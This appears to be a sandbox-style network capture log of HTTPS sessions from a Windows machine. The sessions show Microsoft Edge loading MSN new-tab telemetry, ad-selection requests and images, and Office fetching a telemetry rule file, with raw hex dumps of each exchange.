2024-11-15 15:16:30 UTC	3852	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 35 54 31 35 3a 31 36 3a 32 38 2e 37 38 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 63 65 30 38 64 66 65 2d 63 62 65 36 2d 34 37 66 35 2d 62 36 30 63 2d 39 38 39 66 39 37 32 62 33 38 39 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 36 38 31 33 38 32 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-15T15:16:28.789Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"ece08dfe-cbe6-47f5-b60c-989f972b389a","epoch":"2636813825"},"app":{"locale
2024-11-15 15:16:30 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cd61935a8c194121803a39663132e8bb&HASH=cd61&LV=202411&V=4&LU=1731683790725; Domain=.microsoft.com; Expires=Sat, 15 Nov 2025 15:16:30 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2c33f52cc35f45fa8399ec15bd7f8d72; Domain=.microsoft.com; Expires=Fri, 15 Nov 2024 15:46:30 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1932 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49843	20.96.153.111	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=078A6178E4B266BF224E7440E5C7676D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0cd2d91502dc4d68b54d691fb2936b77 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
2024-11-15 15:16:30 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 15 Nov 2024 15:16:29 GMT Connection: close
2024-11-15 15:16:30 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 3e54b24b-301e-000c-76af-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151630Z-16547b76f7fnlcwwhC1DFWz6gw0000000ng00000000041dr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49847	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8254c623-901e-0069-7c1d-3737ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151630Z-16547b76f7f7scqbhC1DFW0m5w0000000n80000000002nxu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49829	13.107.246.57	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:30 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: e335897b-a01e-0007-3434-2f9e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151630Z-16547b76f7fxdzxghC1DFWmf7n0000000n9g00000000rzsb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 15:16:30 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49853	23.38.189.114	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:30 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:30 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=121897 Expires: Sun, 17 Nov 2024 01:08:07 GMT Date: Fri, 15 Nov 2024 15:16:30 GMT Connection: close
2024-11-15 15:16:30 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-15 15:16:30 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-15 15:16:30 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-15 15:16:31 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-15 15:16:31 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-15 15:16:31 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
